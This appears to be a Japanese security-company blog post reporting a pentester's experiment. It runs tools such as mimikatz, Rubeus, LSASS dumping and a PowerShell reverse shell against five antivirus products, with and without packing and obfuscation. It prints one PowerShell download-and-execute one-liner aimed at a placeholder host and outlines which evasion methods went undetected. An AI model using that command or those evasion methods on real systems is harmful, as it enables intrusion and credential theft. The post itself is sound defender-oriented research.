アンチウイルス実験室 〜⚗️マルウェア検知実験🧪〜

アンチウイルスソフトって必要なの？とか、ちゃんと私のこと守ってくれるの？とか思われたことはありますか。日常的にアンチウイルスと対峙しながら侵入テストをやっている者の目線で、5 つのアンチウイルス製品に対しいろいろ実験した結果を一般の方向けに解説してみます。アンチウイルスに対するモヤッとした疑問を少しでも解消していただけたら幸いです。

はじめに

技術部の松永です。

本題に入る前に、私がアンチウイルスについて語る資格がありそうか、簡単に自己紹介から始めたいと思います。
私はアンチウイルスの専門家ではなく、製品の開発や販売、評価などに関わったことはありません。サイバーディフェンス研究所入社から 10 年、セキュリティテストに携わっています。特に侵入テスト（ネットワークペネトレーションテスト）を主業務とするようになって 5 年目になりますが、私が攻撃ツールの研究開発を大好物としていることもあり、この数年間で各種アンチウイルスと対峙する場面がしばしばありました。つまり、専門家とは言えずともベンダーニュートラルな立場から攻撃者目線でアンチウイルスについて私見を述べられる程度の関わりがあります。

それでは、実験レポート開始します！⚗️ 🔬 🧪

わかるようになること

この実験ではアンチウイルス製品を 5 つ並べて色々なプログラムを動作させ、検知結果について一言感想を言います。
本稿は基本的に読み物のつもりです。詳細な技術には踏み込みません。
それでも次のようなことがふんわりとわかるようになります。

• アンチウイルス製品ごとに検知の違いがあること
• 攻撃者（マルウェアを使ってくる人）が使う、検知をごまかす手法の一端

わかるようにならないこと

網羅的な評価には程遠い実験です。わかるようにならないことがいっぱいあります。

• 今回の実験で対象となったアンチウイルス製品名
• 具体的にどの製品がいいか、または悪いか
  • 今回の実験でわかることは各製品のごく一部の機能だったり特徴だったりです
  • 特定の製品を推奨または貶める意図はありません
• マルウェア（ウイルス）検知以外の機能
  • IDS/IPS のようなネットワークレベルの保護機能や、一元管理機能、EDR のようなセキュリティソフトにおける重要な機能には全く触れません

おことわり

本稿はサイバー攻撃に使われる技術の概念的な解説を含みますが、サイバー攻撃の防御にあたられる方やアンチウイルスユーザー向けの記事です。攻撃技術の詳細には触れないよう注意を払って書いているつもりですが、悪用厳禁にてお願いいたします。

方針と条件

細かな条件や前置きは長くなるので追々ということで、ここでは大まかな方針と条件を列挙します。

• Windows OS のみ対象とします
• アンチウイルス 5 製品でテストします
• 2022年4月某日時点での最新の Windows Update およびアンチウイルス製品のアップデートが適用された状態でテストします
• テストに使うプログラムは、わかりやすさを重視して単独で実行可能なものに限定します
• プログラムはただ起動するだけでなく、目的を遂行するまでの動作をさせます（パスワードを盗む等）
  • プログラムの振る舞いによって検知する「振る舞い検知」による検知をさせる目的です
• プログラムの実行がブロックされなくても、検知されれば検知とみなします
• Windows Defender と共存するタイプの製品で、Windows Defender で検知されたと見受けられる場合も検知とみなします
• ファイル名や引数の情報を元に検知されないように注意して実行します
  • マルウェアと同じ名前、マルウェア実行時によく使われる引数を元にした検知は本質的な検知ではないとみなし、本稿では除外します
• 実行するプログラムの情報をインターネットに送信する、クラウドベースの検知は使用できない状態でテストします
• 特定のアンチウイルスソフトの仕様・挙動・脆弱性などに依存した検知バイパスはテストしません

結果一覧

まずは結果の一覧を示します。表の見方は以下の通りです。

• プログラム: テストに使用するプログラムの名前および使い方
  • ここでピンと来なくても、結果詳細で簡単に説明するのでそのまま読み進めてください
• 改変内容: アンチウイルスに検知されにくくなるよう、プログラムを改変する方法
  • 改変により逆に検知されやすくなることもあり、各アンチウイルスの特徴をつかめたりします
• 特徴: プログラムおよび使い方の特徴をタグ付け
  • こちらも結果詳細で簡単に説明します
• 期待値: 期待する検知結果
  • テストには無害なプログラムも含んでおり、検知されないことが期待する結果となる場合があります
• AV1-5: 各種アンチウイルスソフト
• yes: 検知された
• no: 検知されなかった
• 赤字: 検知を期待したが検知されなかった（偽陰性）
• 青字: 検知されないことを期待したが検知された（偽陽性）

プログラム (改変内容)	特徴	期待値	AV1	AV2	AV3	AV4	AV5
C Hello world		no	no	no	no	no	no
C Hello world(UPX)		no	no	no	no	no	no
mimikatz		yes	yes	yes	yes	yes	yes
mimikatz(UPX)		yes	yes	yes	yes	yes	yes
mimikatz (FileOptimizer)		yes	yes	yes	yes	no	yes
mimikatz(CDI)		yes	no	no	no	no	no
C# Hello world (ConfuserEx)		no	no	no	no	no	no
C# Hello world (DotNetPatcher)		no	yes	yes	yes	yes	yes
Rubeus		yes	yes	yes	yes	yes	yes
Rubeus (ConfuserEx)		yes	no	no	no	yes	yes
Rubeus(CDI)		yes	no	no	no	no	yes
winPEASexe		※2	yes	yes	no	no	yes
SharpHound		※2	no	no	no	no	yes
PS Hello world(IEX)		no	no	no	no	no	no
Task Manager LSASS dump		※1	no	no	no	no	no
ProcDump LSASS		※1	yes	yes	no	no	no
Out-Minidump.ps1		※1	yes	yes	yes	yes	yes
Out-Minidump.ps1 (IEX)		※1	yes	yes	no	yes	yes
Out-Minidump.ps1 (Chameleon)		※1	no	no	no	no	no
PS reverse shell		yes	yes	yes	no	yes	yes
PS reverse shell (Chameleon)		yes	no	yes	no	yes	yes

• ※1: 完全な検知および対策が困難だが、攻撃を受けている可能性が高く検知だけでもされるとうれしい
• ※2: 攻撃のヒントを得るために使われることがあり、グレーゾーンに位置すると考えられる

結果詳細

各プログラムをグループ分けしながら個別の結果をレポートしていきます。

無害なネイティブコード

小手調べ的に無害なプログラムから始めます。ネイティブコードのアプリケーション、つまりコンピューターが直接実行できる機械語の命令が埋め込まれたプログラムを使った実験をします。

C Hello world

C 言語で書かれた "hello world" と表示するだけの無害なプログラムです。
全く検知されませんでした。当然の結果ですね。

C Hello world(UPX)

前述の C Hello world を、UPX という有名なパッカーでパッキングしたプログラムです。"hello world" と表示するプログラムは圧縮された状態になり、exe ファイルを実行した時点でメモリー上で "hello world" と表示するプログラムが解凍されて実行されるとお考えください。UPX およびパッカーは攻撃に利用されることがありますが、正当な目的を持って開発されたもので攻撃を補助するツールや技術ではなかったりします。人間でも判断が難しい部分になることがあり、以降でもこれに類するツールや技術を使っていきます。

全く検知されませんでした。順当な結果と言っていいでしょう。

ネイティブの攻撃ツール

ネイティブコードの攻撃ツール代表として mimikatz を使います。平文のパスワード窃取などが可能な非常に多機能な攻撃ツールで、攻撃ツールとしては最も有名ではないでしょうか。実際の攻撃でも多用されており、アンチウイルスには積極的な検知が求められるであろうと思われます。

ここでは mimikatz を様々なパッカーでパッキングする実験をします。

mimikatz

素の mimikatz です。
ここは当然、満場一致で検知されました。

mimikatz(UPX)

mimikatz を前述の UPX でパッキングしたプログラムです。
安定の満場一致で検知でした。

UPX の話題はここで終わりになります。攻撃に UPX 使われてても平気なんだね、と思われたかもしれません。しかし攻撃にしか使われないようなプログラム（マルウェアと言ってしまっていいでしょう）を他にも色々と UPX でパッキングしてみると、検知されなくなるというケースに遭遇したこともあったことを書き添えておきます。

mimikatz(FileOptimizer)

UPX よりも少しばかり知名度の低いパッカーを探して見つけた、FileOptimizer を使用して mimikatz をパッキングしたプログラムです（繰り返しになりますが、FileOptimizer も正当な目的を持って開発されたもので攻撃を補助するツールではありません）。

検知しないアンチウイルス製品が一つ出てきました。決してこの製品を擁護するのではなく、網羅するのは限界があるのだろうと感じ取れます。

mimikatz(CDI)

当社製パッカーを使って mimikatz をパッキングしたプログラムです。

今回テストした 5 製品では検知されませんでした。未知のパッキング技術に対して機械的に正しく判定を下すのは非常に困難であると言えそうです。

無害な中間言語

ここまで扱ってきたプログラムはネイティブコードのアプリケーション、つまりコンピューターが直接実行できる機械語の命令が埋め込まれたものでした。ここからは少し毛色を変えていきます。
拡張子は同じ exe でも、Microsoft Intermediate Language (MSIL) というコンピューターが直接実行できない中間言語の命令が埋め込まれたものを対象にしていきます。.NET、.NET Framework、.NET アプリケーションのような単語でピンと来た方は大丈夫です。ピンと来なくても大丈夫です。中間言語のアプリケーションの特徴として、以下のような特徴があると理解して先に進みましょう。

• 解析が容易になり exe から元のプログラムの正体がつかみやすくなる
• 解析を難しくする手法として、パッキングに加えてコードの難読化が一般的になってくる
  • 難読化について詳細は触れませんが、パッキング同様に闇の技術ではありません
  • 特に Android アプリケーションのセキュリティ対策として使われているのを目にします

ここでは無害な中間言語のプログラムを、パッキングや難読化してみる実験をします。

C# Hello world(ConfuserEx)

C# 言語で書かれた "hello world" と表示するだけの無害なプログラムを難読化してテストします。ConfuserEx というツールが人気のようなので使ってみます。

全く検知されませんでした。UPX 同様に順当な結果と言っていいでしょう。

C# Hello world(DotNetPatcher)

同じく C# 言語で書かれた "hello world" と表示するだけの無害なプログラムを、ぱっと目についた DotNetPatcher というツールでパッキング（難読化ではありません）したプログラムです。

結果は満場一致の検知という、興味深い結果になりました。
過去に同様の手法またはツールを用いてパッキングしていたマルウェアがあったのだと思われます。私も C# のパッキングを見様見真似でやってみたことがありますが、MSIL のパッキングに使われる手法は厳しくチェックされる印象です。一旦は検知のバイパスに成功してもしばらく経つとまた検知されるようになっていたりと、攻撃者とアンチウイルスベンダーの攻防を感じ取ることができます。

中間言語の攻撃ツール

ネイティブコードを含まない C# 言語のマルウェアと呼べそうなプログラムの候補として、Rubeus を使用します。Windows ドメイン環境で利用される Kerberos 認証のチケットを悪用することに長けたツールになります。実際の攻撃よりも侵入テストや学習に使われることの方が多そうな印象がありますが、その攻撃力は本物かつ有名です。
Rubeus をパッキングや難読化して実験します。

Rubeus

素の Rubeus です。
満場一致で検知されました。

Rubeus(ConfuserEx)

Rubeus を前述の ConfuserEx で難読化したプログラムです。

2 製品で検出されました。難読化に一定の効果があることが見て取れます。

Rubeus(CDI)

当社製パッカーを使ってRubeus をパッキングしたプログラムです。
mimikatz の時に使ったものとは別の、C# 言語の機能を使った非常に小さなパッカーです。

1 製品で検出されました。パッキング手法としてはごくありふれたものだと思われますが、それでも未知性が高まると検知が困難になることが見て取れました。

調査系ツール

グレーゾーンエリアに突入します。
検知する・しないのどちらが正しいとも言えなそうなプログラムを使う実験です。いずれも C# で開発された中間言語のプログラムになりますが、それはここではあまり関係ありません。

winPEASexe

• ※2: 攻撃のヒントを得るために使われることがあり、グレーゾーンに位置すると考えられる

winPEASexe は権限昇格に繋がりうる問題を自動チェックするツールで、winPEASexe 自体には問題を悪用する機能がありません。攻撃者がヒントを得るために使用することもあれば、インフラ管理者やプログラム開発者のテストに使われることもあるのではないかと思われます。

3 製品で検出されました。攻撃の予兆かもしれないとアグレッシブに検知するもヨシ、その後の攻撃を検知または監視するもヨシ、だろうか？と思いながら、先に進みます。

SharpHound

• ※2: 攻撃のヒントを得るために使われることがあり、グレーゾーンに位置すると考えられる

Active Directory ドメイン内の攻撃経路を視覚化する BloodHound という有名なツールがあります。SharpHound は BloodHound に必要なデータを収集するプログラムです。BloodHound は攻撃にも防御にも有用な情報を得られ、これ自体には攻撃的な機能はありません。

1 製品で検出されました。フムフム、各ベンダーよく考えての結果なのだろう、と思いながらグレーゾーンを抜けます。

無害な PowerShell

PowerShell ゾーンに突入しました。
ネイティブコードや MSIL のような .exe 実行ファイルではない、スクリプト言語の世界です。攻撃者目線では、コンパイル不要で開発しやすい、C# 同等機能を持ったプログラムも作成できる、メモリー上のみで動作するプログラム（ファイルレスマルウェア）を作りやすいといった特徴があります。

防御側に目を向けると Antimalware Scan Interface (AMSI) というワードが飛び込んできます。（研究しなくても割と簡単にバイパスできてしまうので今初めてググってるところなのですが）アンチウイルスソフトに対して AMSI というインターフェースが提供され、アンチウイルスソフトは実行する PowerShell を文字列ベースでスキャンするようです。検知をバイパスする手段としては、AMSI の仕組み自体を狙って攻撃し PowerShell マルウェアの検知を無効化するものと、検知されないようスクリプトを改変するもの（検知されそうな箇所を書き換える、全体的に難読化するなど）に大別できるようです。本稿では後者のみ扱います。

PS Hello world(IEX)

手始めに PowerShell 版 "hello world" を、あえて紛らわしい方法で実行してみます。短いコードなので、スクリプト自体を見たほうが早い方のために掲載します。

IEX(New-Object Net.WebClient).downloadString('http://IPアドレス:ポート番号/')

リモートの PowerShell スクリプトを HTTP 通信でメモリー上にダウンロードし、新たな PowerShell スクリプト（式）としてファイルに保存することなく実行します。PowerShell を使ったファイルレスマルウェアの典型的な手口になります。

全く検知されませんでした。過検知のような反応は見られず順当な結果です。

メモリーダンプ

ここまでプログラムの実行方法（ランタイムシステム）、タイプ（無害、攻撃、中間）、プログラムの改変方法（パッキング、難読化）を中心とした実験を行いました。ここでは同じ目的の攻撃でも攻撃手法を変えるとどうなるか、という観点での実験を行います。と同時に、PowerShell の難読化も実験します。

この実験では LSASS（Local Security Authority Subsystem Service）のメモリーダンプというシンプルな攻撃を行います。実験の前に簡単に攻撃を解説します。
LSASS は、Windows のセキュリティポリシーや認証に関わる重要なサービスプログラムです。アンチウイルスに検知されやすい mimikatz を使う代わりに、LSASS のメモリーダンプを取得するということが実際の攻撃でも行われます。LSASS のメモリーダンプをリモートで攻撃者のパソコンにコピーした後、mimikatz などのツールを使って解析することでパスワードなど重要な情報を盗み出されます。

Task Manager LSASS dump

• ※1: 完全な検知および対策が困難だが、攻撃を受けている可能性が高く検知だけでもされるとうれしい

まずは最も検知されないであろう、Windows にもともと備わっているタスクマネージャーを使った LSASS のメモリーダンプを実行します。

全く検知されませんでした。メモリーダンプはトラブルシュート等に必要なものであり、非常にシンプルな攻撃であることから検知や対策が困難であると考えられます。
EDR で頑張りたいところかな、と思いながら先に進みます。

ProcDump LSASS

• ※1: 完全な検知および対策が困難だが、攻撃を受けている可能性が高く検知だけでもされるとうれしい

ProcDump は Microsoft から提供されているユーティリティで、前述のタスクマネージャー同様にメモリーダンプ取得ができます。

2 製品で検出されました。ちなみに電卓を対象に取得すると、検知されませんでした。メモリーダンプに用いるツールやダンプ対象によっても検出結果は変わることがわかります。

Out-Minidump.ps1

• ※1: 完全な検知および対策が困難だが、攻撃を受けている可能性が高く検知だけでもされるとうれしい

Out-Minidump.ps1 は、PowerSploit という PowerShell で書かれた攻撃プログラム集に含まれる、メモリーダンプを取得する小さなプログラム（スクリプト）です。既に実施したタスクマネージャーや ProcDump とやることは変わりませんが、明らかに攻撃を意図したもので悪意マシマシです。

満場一致の検知を頂くことができました。

Out-Minidump.ps1(IEX)

• ※1: 完全な検知および対策が困難だが、攻撃を受けている可能性が高く検知だけでもされるとうれしい

前述の Out-Minidump.ps1 を、PS Hello world(IEX)でも使用したファイルレス手法で実行します。メモリー上にダウンロードして実行するスクリプトが、"hello world" からメモリーダンプに変わったとお考えください。

4 製品で検出されました。さらに悪意を注いだ形ですが、検知しないアンチウイルス製品が一つ出てきました。
誤検知・過検知を避けようとしてボタンを掛け違えたのかもしれない、などと思いを馳せます。

Out-Minidump.ps1(Chameleon)

• ※1: 完全な検知および対策が困難だが、攻撃を受けている可能性が高く検知だけでもされるとうれしい

前述の Out-Minidump.ps1 を、最近個人的に気になっていた Chameleon という新し目の PowerShell 難読化ツールで難読化します。Chameleon は AMSI バイパスを目的に開発されている点が、これまで登場したパッカーや難読化ツールと異なります。

全く検知されない結果となりました。
新し目のツール故か、難読化手法が優れていたか、Out-Minidump.ps1 がそこまでマークされてなかったかなどなど、考察や追加の実験をする余地がありそうです。

リバースシェル

最後に PowerShell 言語の実験をもう少し補強すべく、リバースシェルを扱います。
リバースシェルは、侵害に成功したコンピューターの対話型シェル（コマンドプロンプトや PowerShell のウィンドウ、Linux のターミナル画面が想像できたら OK です）をリモート操作する際によく使われます。スクリプト言語はリバースシェルの実行に使い勝手がよく、言語ごとにお決まりの 1 行にまとまった小さなスクリプトが何種類か存在することが多いです。
検索すると特にツールの名前など無い、似たりよったりのスクリプトがいくつも見つかりますので、適当に見繕ったものを使用します。

PS reverse shell

検知しないアンチウイルス製品が 1 つありました。
ここまでの実験を通して、AV3 はやや PowerShell が苦手に見えたというのが正直なところです。

PS reverse shell(Chameleon)

Chameleon さんに再降臨してもらいつつ、難読化した PowerShell でリバースシェルが検知されるかテストします。

3 製品で検出されました。先程は完封勝ちを収めたかに見えた Chameleon でしたが、今回は 3/5 検知という結果でした。外部との通信が発生すると、通信内容も検知の材料となることが関係しているかもしれません。

・・・もしかすると、楽しみにして下さってる方もいるでしょうか。侵入テストでよく使うテクニックなだけに、PS reverse shell(CDI) も当然あります。難読化はせずに検知されなくなるまで調整しながら作っているので、AV1-5 には検知されません。
実はメモリーダンプで登場した Out-Minidump.ps1 にしても同様で、難読化などせずとも検知されなくなるまでスクリプトを調整するのはあまり難しい作業ではありません。コンパイル無しで実行可能なスクリプト言語の特性を活かして、アンチウイルスに検知される箇所をリストアップするツールまであります。ただしこれは、単にアンチウイルス製品の精度がどうこうという話ではないと理解しています。攻撃者にとっては目くらましの手法がいくらでもある "文字列" という情報を頼りに検知せざるを得ないとという、厳しい現状の表れであると考えています。
これに対し、アンチウイルスベンダーが無策であるようにも見えません。私も PowerShell でいくつか侵入テスト向けのプログラムを作ったりしていましたが、C や C# よりもアンチウイルスに検知されるようになるまでのスパンが短く、その度に手法を少しずつ変えざるを得なかったという経験があります。私の想像でしかありませんが、本物の攻撃者とアンチウイルスベンダーの激しい攻防の表れだったのかもしれません。

まとめ

今回の実験は以上です。まとめに入ります。
統計的に有意と言えるような数は明らかにこなしてないと思われますので、傾向の分析程度と受け取ってください。アンチウイルスに対するモヤッとした疑問が少しでも解消されていたら幸いです。

• 明らかに無害または有害なプログラムに対する判定のブレは見られなかった
• 無害・有害の中間に位置するプログラムに対する判定はアンチウイルスソフト毎に違いが見られた
• パッキング・難読化による検知の妨害は、アンチウイルスソフト毎に効果の違いが見られた
• 未知のパッキングによる検知の妨害は高い効果が見られた
  • 特にネイティブコードのアプリケーションに対して高い効果を発揮するよう見られた
• 同じ目的の攻撃であっても、手段によって悪意を汲み取るような傾向が見られた（LSASS メモリーダンプ）

感想と私見

アンチウイルスがあれば安心、もしくはアンチウイルスは役に立たない、と思われていた方もいらっしゃるのではないかと思います。どちらも不正解だということが伝わっていれば幸いです。アンチウイルスが完全な防御策となる未来は絶対に来ないと信じてますが、それでもアンチウイルスは有効です。
そもそもアンチウイルスは 100% 攻撃を検知する必要がないと考えています。例えば組織がとある攻撃者によって 10 の攻撃を受けたとして、そのうち 1 つでもアンチウイルスが検知できれば人間が対応を始めることができます。

今回、既知／未知のパッキングや難読化による検知の妨害の実験もしました。
攻撃者のレベルを低く見積もった場合、インターネットで拾った攻撃ツールをそのまま使ってみたり、同じくインターネットで拾えるツールでパッキングや難読化してくるのが関の山でしょう。どこかで出てしまうボロを見逃さないように、アラートの一元管理ができているとよさそうです。しかし、攻撃者のレベルを低く見積もってもいい理由は残念なことに思いつきません。今回の実験で挙げたような検知の迂回だけでなく、攻撃者が独自に開発した攻撃プログラムが使用されます。近年アンチウイルスベンダー側も未知の攻撃プログラムに対する検知に積極的に取り組まれていますが、今はまだ途上段階の技術であるように思います。実のところ当社の侵入テストでも、独自開発した攻撃プログラムと（検知されにくい）標準的なソフトウェアを多用しており、アンチウイルスの検知に悩まされることはさほど多くありません。未知の段階では検知できずとも、どこかで同様のマルウェアの存在が明らかになりアナリストの分析等を経てアンチウイルスがアップデートされ、検知（インシデントの発覚）へとつながる流れが重要なのかなとも思います。高度なスキルを持った攻撃者がそう都合よくしっぽを掴ませてくれるとも限らないため、アンチウイルスに頼らない検知も心がける必要がありそうです。

P.S. うどんの手打ちにハマってます。慣れるとおいしいうどんが毎日食べられるのでおすすめです。トッピングは本場香川で食した、山芋とマグロの組み合わせが最高です。